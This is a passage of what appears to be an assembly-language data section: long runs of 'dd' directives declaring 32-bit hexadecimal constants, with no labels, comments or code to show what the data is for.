2BBB588Fh, 0EF5A9421h, 8269319Ch dd 8E78E6B4h, 0F8089489h, 2CEB6094h, 0EE46368Ch, 6B008122h dd 44852CF4h, 3FDA2EAh, 336649DEh, 0DD888C57h, 0E80A2E1Bh dd 0C4143E70h, 82467Ch, 0E0F0678Bh, 1E2318D0h, 80AE0FB4h dd 0F75C7E85h, 0FE38B176h, 0BC61E5CAh, 14EC6023h, 30E63640h dd 6C80B988h, 7EDA2CEDh, 0E585044Ah, 0B8CC072Ah, 0F1A82F4h dd 8780AC6h, 0CC249641h, 4CF8308h, 893C6938h, 0A620E29Ch dd 6A27B4Ch, 9926BD75h, 341B38B6h, 1C08BEC0h, 92497230h dd 6350E123h, 3029A2D4h, 16097C75h, 79804A6Dh, 9E043844h dd 80D75A8Eh, 0FF7D9118h, 0C7286C71h, 0F1242035h, 0ED0044BBh dd 12C0AB89h, 0C9406411h, 0E7D4C3ECh, 83EBAEC8h, 0E012EECh dd 8CA73ACDh, 7C229C81h, 0F230C9F2h, 0FEA00A4h, 7A7E3502h dd 0E215BCD2h, 9B8D53Fh, 0A09B455Fh, 0C6B6B428h, 22C0C0D3h dd 0AAE475B9h, 809458h, 0B7EDF404h, 2425056Eh, 74C4EF23h dd 3600CF46h, 2BC20DAFh, 0A610AE46h, 0E813C34Ah, 0D4244805h dd 7830A026h, 284E121Ch, 46803A41h, 7D4602F2h, 3171BD83h dd 7EF410D0h, 799D317Dh, 35328674h, 3EE2FB50h, 0DE872C00h dd 9228B1DBh, 0EE3C8952h, 8738730h, 0D29DBB4Fh, 0FF402564h dd 301E73BFh, 40B98A00h, 0DC8A442h, 6D4612B5h, 2AF8F081h dd 762C175Dh, 898CFDF9h, 0A32B1C18h, 3D3BD5F0h, 72806A51h dd 66B20D5Dh, 0F0B0423Dh, 4C16DA20h, 0DE003444h, 9FBAF269h dd 0C24854E3h, 0CD3E14B8h, 0BF323CCh, 0CC057D43h, 0F3CC3879h dd 0FA7D7B09h, 5908D001h, 9B01A485h, 0A023DFB9h, 7528707Fh dd 0C4199768h, 2C1465Eh, 2B023B1Ch, 0DF8080DCh, 1F180B6Ah dd 0CDB81F6h, 0C118C217h, 0D835A124h, 5377808h, 0D87B3694h dd 0EC718BA4h, 38827223h, 837FAB44h, 45963103h, 0A57EB52Ah dd 0AD7F20D0h, 1B690042h, 6C8FE36Ah, 0E4E722D7h, 0C8B144AEh dd 95008491h, 860388C0h, 8A01EBA1h, 26BBB09Ch, 5089B261h dd 48900736h, 1C20D493h, 2654F8D1h, 0C188C042h, 0F5972CE8h dd 0B34428C6h, 0E52C9878h, 0AEE00143h, 9335D63h, 0D0802196h dd 5B37F99Dh, 0D010E1F0h, 0FF7F153h, 6F794EA3h, 3414AC88h dd 0C0DC585Ch, 67ECB7C8h, 1EFC006Eh, 9FAAE8FFh, 82047834h dd 0DC2BE2BDh, 62DC0453h, 0BF3601F6h, 8C20C932h, 71640279h dd 3E385BF2h, 188E9861h, 50730888h, 2EC465BBh, 73C00B5Ch dd 8289C084h, 4230EEE0h, 0BD87107Dh, 7A00E751h, 2512447Dh dd 0A8173F54h, 0DC80FF91h, 6C2EE5B2h, 48CE9E0Bh, 7A5C02D2h dd 705BF6h, 7001E353h, 43005278h, 543D4BF4h, 921B4AEAh dd 6C7902B8h, 87C49A53h, 3A12AB60h, 0C033A9C0h, 69F3A7h dd 511F43B1h, 8B1D73A5h, 6D313D13h, 2BCF020h, 6CF3594Bh dd 9B0D7E09h, 15FF9069h, 9461C004h, 0E8208509h, 23EBD4B4h dd 0C4227824h, 49901108h, 0CD11C017h, 0EB0BAF80h, 1C4EF6C0h dd 40B14841h, 4CF4BFB5h, 0C7D0E16h, 0D2276846h, 0FF04D095h dd 0A50450DFh, 0AC73B732h, 0A40B0C85h, 0A26D026Eh, 878C59BEh dd 1273B085h, 0B4A15CB1h dd 52303CD4h, 9446B008h, 85711CB1h, 0C61F6418h, 0B4E47602h dd 19854674h, 3A8C6794h, 50280071h, 0E28C2DB8h, 78DA12F4h dd 444C827Ah, 881704ECh, 0F420BCC0h, 0B4064974h, 90D51344h dd 0E19F996Ch, 205B0927h, 24D9C788h, 2E400023h, 37319859h dd 0B9139386h, 94E4A56Fh, 92784F38h, 8C6185A8h, 0B44210FEh dd 6F10040h, 15FDBE2Ah, 87004BA3h, 2985B10Eh, 4F8177DEh dd 190416C6h, 0E8EB0844h, 0B54F458Ch, 30C6C088h, 0EFA94036h dd 370B6B8Fh, 28E8482h, 7D03EA4h, 0DA892C11h, 0B9C92100h dd 8A5875C5h, 5EE500A0h, 0E34E967Fh, 0E72D3783h, 242C00DFh dd 91BBB97Eh, 6273077Ch, 4465C9D5h, 0AC632AE4h, 47166C98h dd 62B4FD50h, 0FDB01D40h, 8C7C1C60h, 0E5EC8A1Fh, 0C422467Ah dd 0EC82AC04h, 3487B033h, 1BC267h, 581B6A80h, 48F825A9h dd 5D2E3420h, 0A02814FEh, 0A662F629h, 0D0FAB158h, 61C9880h dd 32A8004h, 0FE4CF8C9h, 287D2360h, 72EA1677h, 0A96438F2h dd 0BEEC8500h, 0DA20815Dh, 7DEB00BDh, 0FDBB8FB6h, 0D104EDC3h dd 33CB17BAh, 84F2F0A2h, 0FDB0D30h, 0D8524510h, 2EC6CB82h dd 7EBAFC90h, 74ABF92Ch, 0DBB3E784h, 54C03814h, 81578CDDh dd 9FF78500h, 0C1C728B1h, 0E8E01A7h, 0B4B55B5Fh, 0D2142D3Ah dd 86C8748Ah, 358B9C0h, 526804E1h, 0B41D3FB5h, 22009224h dd 910F4C3Ah, 972108h, 67272ED4h, 0C13C2845h, 36A5FD00h dd 0F146BBFEh, 0CF20849Dh, 9E8C4FCh, 0FB971D8Eh, 0AF98AC07h dd 0B30D7541h, 9031D2F4h, 2850E878h, 24F0340Ah, 49483A7h dd 12EB4429h, 8721E804h, 0D1981C05h, 1039D6E8h, 19633DDh dd 0B706CA2Ch, 28668F34h, 0F00C5674h, 5C5746CDh, 0C5184823h dd 0AB02C18Bh, 2FC2D4A8h, 94BEB628h, 0BD0BFDF8h, 6B850526h dd 20F7EA78h, 282A6172h, 994488B2h, 7E040BC1h, 0C861082Ch dd 0DB12F2A5h, 311C506Ch, 0C2846C58h, 1EB371Ah, 87C412E1h dd 0C167C319h, 4651E580h, 480100FBh, 7619B4D9h, 0D302629Ch dd 0C6FDDC6Fh, 10544635h, 496A146h, 0C80B3A34h, 58444809h dd 842E9F02h, 614B1585h, 861890F8h, 2E4B7348h, 0FE706095h dd 257302BEh, 0ACB9F8EDh, 492D3C48h, 5240A0B0h, 8F330A36h dd 9E8E362h, 7010B4F8h, 0DA7D8C57h, 0EA5440F4h, 1D3089B8h dd 9E7921BDh, 0C8343D88h, 2237E502h, 84803D6Ah, 0F09FB108h dd 9527A801h, 696C9BE7h, 0AA05D072h, 44726E38h, 9831C69Ch dd 914175DCh, 40CF1AD8h, 772838FCh, 0F00C1833h, 11922373h dd 8B021A3Ch, 0E08D28D8h, 0F444C6A0h, 36260098h, 7608B0BBh dd 1D60B2Bh, 0C5204844h, 2FB53F88h, 0ED292262h, 83461846h dd 43730977h, 0A465BDBBh, 7340039Fh, 9B36A4F4h, 43D7007Fh dd 8FE2E674h, 0E9A0B86Dh, 701C361h, 0F27794AAh, 29CD6972h dd 0FB439881h, 5006C0F8h, 790BDCCh, 499D1D3Ch, 5200DDC8h dd 0F886A4F3h, 8F3608DDh, 954B32B6h, 80FE9134h, 488E4FB8h dd 201400C3h, 8ACF5E8Dh, 0FE2F872Ch, 166C913Bh, 0CD461210h dd 951390BCh, 8723E03Ah, 0EEF4901h, 7C20BD1Eh, 8CB8B7D4h dd 6A053481h, 209A78EBh, 93559007h, 0F9F74A72h, 806B1DD0h dd 0E336CCFBh, 1A1C97D9h, 0A1401454h, 1D29792Ah, 0E2B1C25h dd 739E00CDh, 0BFC083A3h, 122480A4h, 0A58024C6h, 0FB948ACDh dd 0D57300EDh, 48531E70h, 627BD0A2h, 0E2070FDh, 503D3D41h dd 10C6BD3h, 1398ACD2h, 84300C79h, 2C9F5C9Dh, 23F82EE5h dd 1E833E30h, 17E85CD0h, 37D50590h, 0FC021C0h, 90FEB2D8h dd 0FA8500E9h, 261F777Fh, 0DC5CBB89h, 0C49C2478h, 0B6D97605h dd 402FA088h, 0A25994F3h, 3D6E0848h, 53253D86h, 81116417h dd 30B6C480h, 0ED003A83h, 0DA9BA7FAh, 4E8D6F79h, 0E60834ABh dd 8753E008h, 7E3D3EC8h, 3030ACD5h, 0E102F5F7h, 187A9441h dd 0E7EC0B98h, 0B09C9A72h, 0EC90AE00h, 0E5C609AAh, 68EE3A05h dd 0B603100h, 8B07B579h, 66835505h, 70D0E6E1h, 0E033C4F0h dd 938F01E8h, 0F2AEB337h, 10FC7DC1h, 960B145Eh, 5C4146BEh dd 0A734DC8Ah, 10DAB230h, 610E4972h, 0F24E282Ch, 0E4DAF6F8h dd 230DE375h, 70BA8D3Eh, 48B89469h, 122FC6C0h, 0E42E16Bh dd 46B51644h, 0FCE9AB49h, 24DF1043h, 5BCF1544h, 0D2048CF4h dd 0C4B66B90h, 98E5818Ah, 0EC872B28h, 4B8BE34h, 0AB9C2C82h dd 0AA696CC0h, 3402DA80h, 0A058E9E7h, 0FCAC9340h, 69399F75h dd 23B2136Dh, 8AE570C8h, 8C83E805h, 814E2598h, 0C1F42C48h dd 61857D44h, 0B0B06C5Bh, 27D7CF2h, 75733C6h, 7CC132F8h dd 13D87C82h, 8032E492h, 131CC434h, 0D19B7D7Eh, 6EB6BA4h dd 94012018h, 0ABE2B208h, 884114CCh, 0C0179522h, 0A491ECC2h dd 7071041Bh, 70634661h, 0F23FFB22h, 12112058h, 0C0D6AFB0h dd 0AB97260h, 445385Bh, 54483616h, 0F8116719h, 5B2AB402h dd 0A94403F6h, 0E820205Bh, 50312D6h, 2AB595A8h, 0C114312Bh dd 12989240h, 0C0489C08h, 72E1EC96h, 642CAA4Fh, 0EC8E02B0h dd 0D66C73A9h, 63004464h, 0D0266EFDh, 191AE25h, 64CFE436h dd 62617375h, 0B73206D4h, 4BF18A15h, 0C814CB35h, 615DC086h dd 1A18265Ch, 2A9CF311h, 1CB48Fh, 44950ABBh, 7E006AE2h dd 0DB847547h, 0F5B6A69Eh, 2E3C824h, 0BD3ABCEBh, 78513E6Eh dd 0E418FD79h, 0EAC0D20Dh, 0A404D826h, 0F9C0D4DBh, 3AD3B5F5h dd 35B9763Eh, 580150E6h, 4336793Eh, 0FDA26C33h, 3E734F30h dd 50629EB9h, 0DC56839Ch, 1CC2A04Eh, 1FCC7Fh, 0ABB4FF33h dd 0A33CC8AAh, 0F5724300h, 0AD4614A9h, 87C9191h, 5762EB0Fh dd 76345E42h, 0D5008646h, 43370A20h, 50F8463Eh, 0C75FEA75h dd 8723DC3Ah, 0A9B27303h, 0B05DB88Fh, 10B551F8h, 0AA80A83Ch dd 8F61D43Ah, 1553C50Fh, 0E7A280A9h, 70AF6D57h, 696C0DAEh dd 0E08824E6h, 4E556E38h, 0BC306C98h, 0A7008CCEh, 0D2E09239h dd 0C236F278h, 0E9D8D658h, 98F42474h, 76F813CDh, 0EDE80407h dd 7F1A4198h, 0BC31D888h, 0E931CC69h, 0A85F918h, 0CBA60616h dd 0C02DC89Ch, 543CC304h, 9C58831Ah, 0C2F4E8D2h, 712E090Bh dd 1802B30Eh, 5818D303h, 35958443h, 97B9002Ch, 0A468EF18h dd 0AB965005h, 0D804D81Bh, 0D23343EAh, 30F122A4h, 82127D45h dd 0A4E269BDh, 5FFCF5CFh, 0A328763h, 0CD11906Eh, 0F65958ECh dd 0B7340454h, 20C0F9DAh, 0C0B11DBCh, 99AA92A1h, 7F7EBE78h dd 0DEC0E704h, 8CCC8BD7h, 0C5A03F7Dh, 8AC0580h, 91F470CBh dd 30620B12h, 60DA0456h, 8AE807CFh, 6418C525h, 0DAC660CDh dd 0DFA304C7h, 905F3ABAh, 3B8AD9ECh, 0A5D1743Ch, 14F440E2h dd 98FC06B1h, 813832C7h, 6974E105h, 8C422096h, 0CC8CEBFh dd 3121B090h, 0D0B5056Ch, 728CD9DFh, 30BAF22Ch, 0E225B369h dd 806CE812h, 0FE0A00A1h, 5FCE1853h, 9CF65D9Eh, 96CF3700h dd 63350CFCh, 36C1890h, 26DA8032h, 0D80AAC99h, 24C0E87Ah dd 15D7F96h, 0BAAB37E0h, 32980D7Eh, 0D86F107Ch, 0C0F84209h dd 88A8B8CBh, 0ED72BB07h, 597E25h, 0F302BC48h, 26C480FEh dd 82AD2Eh, 23B5A89h, 0F1C8A58h, 85C3CDA0h, 292CB57Ch dd 0BA61E4BBh, 0E87C1D6Eh, 0C024804h, 0D6E4F855h, 94D12C04h dd 0B92A5941h, 12C44182h, 0B172003Ah, 7389AD6h, 5CD2A732h dd 2E8C08Dh, 0D41FEA44h, 0E0AAF650h, 0D90EA710h, 0C627690Ch dd 0E412A090h, 0E428E341h, 808753C0h, 78CB0828h, 0A5F49197h dd 162054C6h, 6EF8C832h dd 94F8044Bh, 0CAE204B3h, 0CA805931h, 0B4BF3C96h, 69156D60h dd 213022EEh, 5C04A4E4h, 5802CF46h, 763892BBh, 94A010D2h dd 0F480D0FBh, 16492774h, 444F005h, 4F93F5C8h, 0A0D309C0h dd 4E6CBBB4h, 0C48AE8DFh, 328D7529h, 881125FFh, 2D0097CCh dd 0D722943Dh, 0CE0DF0h, 0C95E014Eh, 8BE5E8BDh, 0AA872C09h dd 440C44DBh, 4612442Eh, 5494B16Dh, 0CC328C84h, 71A125AEh dd 7364258h, 716C59A9h, 0C18C4h, 8CD79B8Eh, 9470E3F9h dd 0A01E6725h, 2EDCA14h, 0A60500FFh, 44ACCDCFh, 1E0517E5h dd 0D67953EEh, 85396000h, 35F7267h, 0CBCC88FFh, 44C31333h dd 3D9078C8h, 0B7C76309h, 0D62802EBh, 11EE191Bh, 98FF3384h dd 97270737h, 0F8C52889h, 156030E4h, 0F1495386h, 2AC70974h dd 20C04440h, 0EDE6BA29h, 78763126h, 0D4E3D762h, 0CC4254F4h dd 42C2DC50h, 888621C8h, 14C95A4Ah, 6EC14420h, 0BC1834EDh dd 0B640F494h, 0B516F446h, 0C0961C98h, 48CBA4Ah, 3617404Eh dd 0D88ABF13h, 0C086E442h, 0B92852B9h, 598011Ch, 0F5320E94h dd 627CECFCh, 0A3FEFA02h, 60844686h, 4874E088h, 5CB15406h dd 753801EEh, 63010839h, 520BC3DFh, 282CA418h, 10F2D708h dd 48BD2243h, 6D135CDAh, 4EA0A28Bh, 0C4037488h, 3339A670h dd 0B08FA59Fh, 32C02C88h, 87825h, 0E69792A5h, 7D111EE4h dd 7E352606h, 1288BF81h, 490C095h, 0AC133219h, 0B8598498h dd 38223C14h, 0BE053A00h, 4BC37BFBh, 0C9400C7h, 0E59C0F22h dd 84E64E95h, 3CAB3804h, 0A8AC9146h, 0D4299D02h, 0C45EF3FAh dd 0B1916B47h, 8EC8D9FEh, 0E673F62Fh, 0DDC33344h, 3048D3C8h dd 0C0322AC0h, 9379339h, 0EED67A86h, 5AFC8154h, 790829A8h dd 0BB4E80EEh, 0E1814627h, 51E8B5C4h, 0CB6B058Ah, 99FC672Eh dd 0BCA028A0h, 805F8CFEh, 0EA6EF073h, 0C48A0986h, 264674DCh dd 12497200h, 8CF73ABCh, 0CAC5FB1Eh, 28562DC0h, 95FE44D7h dd 2C117090h, 58B8400h, 345A6803h, 61CB00BAh, 0E389326Bh dd 9F01A83Bh, 410E74F3h, 0E4DCE8DCh, 30794C2Eh, 95DBD310h dd 0D7AC30h, 0E1271410h, 3498691Dh, 0C28EAF15h, 0FE4108C4h dd 0CC13A724h, 82FDB8F0h, 0AAA71500h, 320256DAh, 0D6162887h dd 238E201Ch, 0C5F13412h, 66805CDBh, 0F97CA495h, 8EE8B958h dd 0DCA2A436h, 0B211930Ch, 5B9E640h, 0F5BBFCBAh, 88F0CED1h dd 0AD21C088h, 1E502211h, 1B174D38h, 75000EC3h, 742E8C0Ch dd 8D22010Dh, 1FB176F4h, 0E0442A09h, 50361DB9h, 0FE368E12h dd 6DC034B2h, 9F372CF2h, 48719900h, 1D7BDF74h, 8A21C0B9h dd 0AEF07587h, 8CBC3101h, 919D96FDh, 3324F0h, 2EEE7EA1h dd 0E830CFB6h, 602F054Fh, 1E1C8823h, 6BE23A80h, 1B8F63Fh dd 10A1E38Ah, 0E0B574D9h, 229DD6D5h, 60156F98h, 0ED0F16Eh dd 0C9C6179Bh, 4402AC8Bh, 850382B1h, 40BE8CC0h, 8ECF248Ch dd 0BC0BAFDCh, 0E4BF1DB1h, 0E4CD07F0h, 6009C645h, 26FBB94Bh dd 0D2FCDA00h, 328AE636h, 0EF5712BFh, 0B630B08Eh, 50F22D4Bh dd 3E6E4908h, 37273C2Bh, 907501A0h, 0CC83C4B5h, 5C092E9Fh dd 0B312692h, 910C975Ch, 2E9587CCh, 0A56F0621h, 643A6C30h dd 0F235A1E7h, 3081F22Ch, 5C01B183h, 0F3D86FC7h, 5888735Fh dd 139CBFEh, 0B9C9B06Bh, 42C6BA63h, 79887180h, 514A1887h dd 0A2E8B091h, 0C41A8A28h, 607EB004h, 2EEBEC8Ch, 70CCFA72h dd 0EC0084AAh, 0E0FD9CDBh, 49BAB5Bh, 897E3D1Dh, 1B54B4ACh dd 133A4888h, 109ADFB6h, 0C900C074h, 723D542Dh, 14B2D269h dd 0AE8D3E00h, 7B703485h, 5050F32Ah, 489650ECh, 13961421h dd 0BB106300h, 0EB4841F0h, 0ACE2BC3Ch, 6E8994CAh, 0F8D0D0E5h dd 802F5B1Ah, 0BAEA47D8h, 0E9C30211h, 5E00BC78h, 0BA00CB46h dd 1B1853F6h, 0DA002E63h, 55C07697h, 22B0E75h, 0D044CD3Eh dd 3097FD51h, 0CB81CE11h, 60F6ECA8h, 3940029Ch, 263B0848h dd 0A82A8B65h, 7CE42151h, 8CC2E8E4h, 0C5035F02h, 82DB0CA0h dd 2DA1F8Ch, 887211E1h, 80EA7338h, 0F8958A1Ch, 4C59D285h dd 0A3000E27h, 0B69C6991h, 396311E8h, 91686731h, 0DAFB55BEh dd 0E84CE0DDh, 43A80161h, 0FE378AEBh, 0FC73F0h, 0AE3E2DFCh dd 189EDh, 9E859DD7h, 5BD2C253h, 428844Eh, 364240A9h, 0D0EE8710h dd 0F2209284h, 0C2522D8h, 0CBBF3ABAh, 760BB640h, 7B236874h dd 904B0128h, 0C40F1E11h, 7C024D0Ah, 59FFB293h, 33EF80E3h dd 5CBB58Fh, 5394EEF3h, 0C04CDB3Dh, 1ABD43ABh, 0F8A0B567h dd 59AE9C07h, 2929F860h, 0E0A11DE7h, 83870F95h, 69CE5686h dd 0C3577B40h, 0F7139803h, 3CE05CECh, 0C67830D3h, 124353F9h dd 2454A79Dh, 48DD97F0h, 0B493E089h, 0BA467490h, 6CE65C7Ch dd 91E420C0h, 1200B2B8h, 75F76C87h, 4CE81CACh, 82E88404h dd 4C77008Ch, 0CA529307h, 31001B80h, 1E3FB524h, 0EA6E641h dd 0CC34E2Bh, 0C5DAEC81h, 5044F9C6h, 955B8DDCh, 0C8225329h dd 7F18C2D1h, 0B8C09501h, 0B51D982Fh, 6B9F9980h, 589D7586h dd 8493605Ah, 0D321D43Dh, 24DF00DBh, 0C33F0062h, 0C6F89D34h dd 0AD446DFFh, 8E862D96h, 75F490C0h, 0D9BDC01Ah, 7EA8C081h dd 44C8BE30h, 2B2732D5h, 0CC031C50h, 9A50E8B4h, 0C0300C2Ah dd 0F849F5B5h, 9F6C475Ch, 3028C11Dh, 0E28093B7h, 0BA8C90BEh dd 0EC430F82h, 1202362Fh, 0C4F02176h, 28308D48h, 79DAA3Bh dd 4805808h, 32507F22h, 7CC0322Bh, 6527E871h, 60C36438h dd 0D5858Ch, 8E73F75Bh, 1D46BB4Dh, 82809260h, 0A87EAF36h dd 958784h, 7507C34Dh, 0A08E0926h, 8B533404h, 0C87B1Dh dd 0DB5220BFh, 22617408h, 0AF340524h, 0EC10A04Eh, 179E5810h dd 6A802E04h, 0F7402C5h, 9C1058F5h, 0C6467650h, 0CEDB8A00h dd 127AFB82h, 536C0F0Fh, 8FA640B6h, 0F7E8FEBBh, 3B00F43Dh dd 3AE6B35Ah, 0E14FBD2Ah, 3C3E9004h, 0A7082400h, 0B30F8E5Ah dd 0EBF843A5h, 0E56CC257h, 6082E444h, 0B5EBF4Eh, 7E432652h dd 89B59402h, 0D0A0788Ch, 0C77229ECh, 0DF198465h, 4AA2D487h dd 7A4440EBh, 46BA80EAh, 0C9976D2Fh, 0C4303D38h, 0AEB4884Bh dd 0C5DBF22Fh, 94B52D38h, 1AE8E400h, 4A68BDh, 6976DD10h dd 3684CB59h, 0BAA73408h, 1EE805CFh, 0C888CB54h, 57EDC0B9h dd 8488985h, 0E5EA1914h, 0C21435B9h, 1421B318h, 6FC17Eh dd 0CEE2485Ch, 0B0BE8B62h, 18264674h, 6F906152h, 895C0038h dd 6C8FA8D8h, 0D0C3B168h, 13E9542Eh, 40AB8768h, 0D3177430h dd 0D0A8EBB5h, 730BD824h, 0ABBA6F79h, 88B85170h, 0E142D47Bh dd 0BD6D048Fh, 22904800h, 82CD16F8h, 0CC20005Fh, 1CB6D563h dd 0E2DEA500h, 3C90C07Fh, 5B430D8Ch, 7E303E57h, 1B00F06Eh dd 9F9AA6BFh, 4005701Eh, 0AC2E6C0Dh, 2035D082h, 8FB3346Bh dd 0FC893C5Fh, 23642F2Fh, 5B56002Ch, 8705D7B5h, 68487C26h dd 11EE2989h, 0C2139274h, 47B11BE0h, 3ABB8305h, 0ACE0FB23h dd 0CC3448E1h, 2536B410h, 0C4906594h, 92160FFh, 0C0909D85h dd 6A01D4D8h, 0D57DBE30h, 0C4485B4Dh, 7C9C1F0Bh, 0E6A5002Eh dd 1FD147D2h, 789018F4h, 0E4F6B710h, 20B38A12h, 0E94817BCh dd 0B6103679h, 0D402E6DAh, 16AE9E75h, 0D2092058h, 68208EC0h dd 27AD9DA8h, 644D4244h, 78DC1EC0h, 6F6003F1h, 71315A4Bh dd 0BCBD94h, 3B0F6D2Eh, 29059B0h, 26B7C8BBh, 50406961h dd 0D72D02BAh, 0D0A840ECh, 49748034h, 0B400225Bh, 0C6ED4A2Ch dd 44104C2Ah dd 0AEEB2480h, 0FD3626B6h, 4684877h, 0D30A7E84h, 5A4CD23Dh dd 47807C5Eh, 0BE556ABDh, 2537005Fh, 914AFFF7h, 35097BE5h dd 0F9C71D82h, 0BD76841Ch, 0A067AAB9h, 0E3004194h, 9B6B0E70h dd 3ED75A10h, 0C706C44Ch, 0B0CBCE4Bh, 25C2F041h, 7AE881F3h dd 82430229h, 2175F580h, 63545BC6h, 30FEF29Ch, 0B49C7124h dd 0F3986A40h, 8F7800D9h, 20037CDEh, 96126DA7h, 140C68C3h dd 5F62D039h, 3A984442h, 0A80B12DAh, 961C700Ah, 3901DC28h dd 2F73A20Ch, 0C4503ED3h, 4EE546BCh, 0DB1C80A0h, 49506CA7h dd 3B5CE1B2h, 24D32240h, 0C480574h, 1E90FBA2h, 975C1D58h dd 90E0ACE6h, 0D0A0E048h, 0E2E2229Ch, 63F3FA76h, 31D0A240h dd 0CCF0F668h, 5F220C90h, 35A820F1h, 683E6D5Fh, 7600C123h dd 9EDE6EE5h, 74C7E8F8h, 0F6040412h, 0B0F946B5h, 0CCA7FEECh dd 85608244h, 890023E3h, 900D5766h, 4B5CD8Fh, 332BD02h dd 41C092F5h, 0C52D34FCh, 60C5E418h, 58379h, 80789D4Bh dd 0BD896944h, 0C4771A18h, 5926BA60h, 0A44C4CE1h, 0D2E9F712h dd 48DC45BCh, 61F0C607h, 0D05A70C2h, 1859E600h, 0D1B21D14h dd 0A61698B1h, 590F5E97h, 0B00BDF3h, 73BF3274h, 3F8D1657h dd 109403B9h, 6118D8BDh, 6D786087h, 6C2C00E1h, 0DA789482h dd 7A00FD3Eh, 4A5AFCB1h, 40B06177h, 0B71332D8h, 0A043A790h dd 929EDC06h, 144C67Ch, 77A2293Ch, 571926BDh, 4059C2D0h dd 3492C851h, 54F9C40Bh, 0A13384BCh, 4774FC9h, 1019046Dh dd 427AE031h, 1C9CFA82h, 0E5469F34h, 381A6422h, 2A69723h dd 0EB75DC19h, 84F6E936h, 2C1465Eh, 7034A05Ch, 0E4E4C594h dd 7D6260C4h, 3A830173h, 4F540658h, 0D66926Dh, 902594A2h dd 0D8C4BC67h, 0C5D85163h, 3FA431Ch, 5195058h, 322AAF36h dd 9D7A2CF4h, 346D3889h, 0D91948C0h, 0A6C40347h, 0C0FAF18Eh dd 0C414BDB5h, 0F80E34FEh, 57C8E4D2h, 0B309A490h, 71D017E2h dd 20B013D8h, 6EF96BB0h, 1114C648h, 18489671h, 721F1622h dd 0A2E5CEB9h, 18FA71F8h, 0C180EA6Ch, 747D490Bh, 0FE76F880h dd 0AC915EB5h, 72AD3000h, 9C926173h, 0BFF70420h, 9EBD40AAh dd 4792263h, 198C5744h, 0B8BCB8h, 97680F07h, 88402CC7h dd 0EA0033C2h, 36C31867h, 95EC53E7h, 84753422h, 5A4C39D7h dd 0E0A4416Fh, 0F088F5CEh, 0EF009FFFh, 6BDB99C8h, 4A3AE2EAh dd 470E2D7h, 0C9FB02BBh, 0BCEC0416h, 780CE932h, 0C86EE85Bh dd 44A0D409h, 57876280h, 0E3481C85h, 146B01B0h, 8F7B1689h dd 0CD8A91E3h, 0A680442Bh, 0AF051F2Ah, 80B8C39Eh, 0E430C2EDh dd 0B6870164h, 1ABB6890h, 0CF2E0Fh, 82C02F88h, 90846996h dd 8C401434h, 6127BFECh, 0C383E02Fh, 8DDBFC34h, 31A73BC8h dd 463A6D2Dh, 7FEA406Ch, 33CF048h, 2ABD0490h, 88994F07h dd 0C10B6EDCh, 8A4E22D2h, 0B10C6414h, 4BE8B13Ch, 0BCE02031h dd 0CC4A6B3Ah, 16358C48h, 23803F33h, 743405FDh, 68A0C710h dd 3800DA11h, 0BF3F0C28h, 0CCA2F421h, 0C14494C7h, 86E8C663h dd 50ECCA08h, 0C505A4Dh, 28F21A92h, 6D6E2F3Ah, 20458061h dd 0C04511Ch, 4601B57Eh, 87BC30A8h, 3B4A1D8Ch, 8B42CF8h dd 9325FEE7h, 54B9EAB4h, 6DC09C10h, 0CE1F24E5h, 907A16C0h dd 1F545DD5h, 0C0ED9674h, 813FE1ACh, 737E3A3Bh, 3427E4A8h dd 9638980h, 0ED7EBC88h, 0EA9438A4h, 0E8ACEC12h, 28C2DECh dd 6926B774h, 1D57286Bh, 82CF117Ch, 0E190093Bh, 4038A104h dd 21E11C13h, 2E0EAF94h, 4C8A412h, 0DA41C1FBh, 75ED1B3Ah dd 92202818h, 0D7B880E9h, 9123271Eh, 72D6CA09h, 67570094h dd 11F4FD16h, 52003FD7h, 9AE761B9h, 94551D94h, 0FA224798h dd 22A91054h, 2ABC08F2h, 0FD42D69Fh, 64451277h, 0DD60D0C4h dd 3560D68Dh, 0B587B6A1h, 10D300E3h, 0A783BE54h, 749CD669h dd 15E4282h, 115C5BB1h, 880D75B4h, 0C9F91D39h, 58F2824h dd 64E6BBE4h, 8168FCB1h, 0A54A9BEDh, 0A35552E0h, 0C205C0DAh dd 63111DE6h, 0E33D04C6h, 0A2A8A624h, 911C30CDh, 82503C3Eh dd 6D61E8C7h, 0B618E9F7h, 3F2CC610h, 134078B6h, 0F8D9DD68h dd 7EB5094Dh, 2426AB51h, 300E9C0h, 0DE5B2010h, 502FD2h dd 853ADF9Fh, 0C78B5525h, 283E4028h, 9506237Dh, 0BF1D3372h dd 27A10F41h, 6880F9BAh, 0CC11A89Eh, 554E1073h, 20CACC20h dd 73F1009Bh, 2714BD19h, 39E4D9A4h, 0D9783225h, 182E79A4h dd 2FE1EE01h, 0D869241Ch, 92C7188h, 3B42C1E4h, 0B9C814CEh dd 0A736AFC0h, 3990B412h, 0DCC6BA09h, 29717479h, 0D300F118h dd 3B80108Ah, 0A09E5D5Eh, 6FEB2FC0h, 0D690A83Eh, 5FA2B0B6h dd 92D970E0h, 0F95AE114h, 2009DB8h, 0BD6D3AE8h, 28EE00CCh dd 0C596B8BEh, 7619BBC4h, 8A888331h, 293D028h, 14D6051Ch dd 4142D0FCh, 2ABA01AEh, 266875F7h, 8DF6F088h, 44CED4F7h dd 498E510h, 0FCCFE2B2h, 63895CFCh, 0A87BBCABh, 6CD770h dd 0DCBACE73h, 176D8823h, 0BB7A4B02h, 84B9F2C6h, 0EF403AE0h dd 11CD4943h, 801B3938h, 0C08AF989h, 9BB8F12h, 4681ECC8h dd 5C8F2037h, 8469D8D5h, 3D5700BCh, 51AEF132h, 73003B3Ch dd 7220FBF4h, 4816AF36h, 83253433h, 1209FC5Bh, 58F2C2h dd 55160663h, 746D17CCh, 8EF8DC0Eh, 0FE75C0DFh, 9303E99h dd 3F3ABAEAh, 90DDAC42h, 9D92C0h, 0D74B85Bh, 1EBA8C7Eh dd 59D70C3Ch, 6C8F07FCh, 36858538h, 174584E4h, 0F1C95E1Bh dd 12687334h, 648CC28Fh, 36E16590h, 0B0E4B6DCh, 0C9D88Eh dd 0F82C5B0Eh, 749D405Fh, 896E4927h, 5E5C01ACh, 0C6008291h dd 8B1F54E8h, 0FFD602BBh, 41A1C4A4h, 8E7C2CBCh, 0BF001344h dd 0BA2F48A8h, 4A200758h, 79A69EA0h, 702504DCh, 4022EA4Ch dd 69126C34h, 0C4C8F631h, 0CCB5888Bh, 7009EAB8h, 0D1C72B4Eh dd 1887D168h, 5FFA3CE3h, 2D25A85Ch, 8391C09Dh, 25803D8Eh dd 1EDDC93Eh, 5AB97239h, 0A6D09818h, 2B2E89E2h, 6464E00Bh dd 0F7D6F630h, 